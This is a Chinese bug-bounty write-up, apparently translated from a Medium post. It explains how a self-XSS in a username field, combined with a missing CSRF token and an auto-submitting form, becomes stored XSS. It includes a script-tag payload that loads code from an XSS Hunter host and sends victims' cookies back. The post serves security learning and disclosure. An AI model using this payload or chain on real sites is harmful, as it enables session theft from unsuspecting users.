在一次漏洞赏金挖掘中,我在更改用户名的功能点出发现了一个XSS,在修改用户名的地方添加了一个简单的XSS payload并且刷新页面:
但是问题是这个功能配置并不是公共的,造成XSS漏洞的唯一方法是告诉受害者将其名称更改为恶意JavaScript代码,这称为Self-XSS,没有太大影响。
接下来,我使用burpsuite抓取 改变名字这个功能点的数据包:
从数据包来看,没有看到防御csrf的token,这看起来有可利用的点,于是我使用burpsuite 生成了CSRF poc
nice!现在我们有了CSRF + Self-XSS,让我们将它们组合在一起,表单如下:
在名字字段我添加了JavaScript代码它是从xsshunter.com:https://xsshunter.com/生成的XSS PoC
“><script src=https://***.xss.ht></script>
在最后我添加了JavaScript自动提交表单,使其更有效。
现在,用户名更改为JavaScript代码后,浏览主页的代码将在目标的浏览器中加载,并向XSS hunter平台发送回cookie。
回到XSSHunter,当任何用户打开我们的HTML表单时,平台获取到了目标cookie,由此我们可得到了一个Stored XSS(存储型XSS)。
以上内容由白帽子左一翻译并整理。原文:https://medium.com/@renwa/self-xss-csrf-to-stored-xss-54f9f423a7f1
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):通过组合Self-XSS + CSRF得到存储型XSS
评论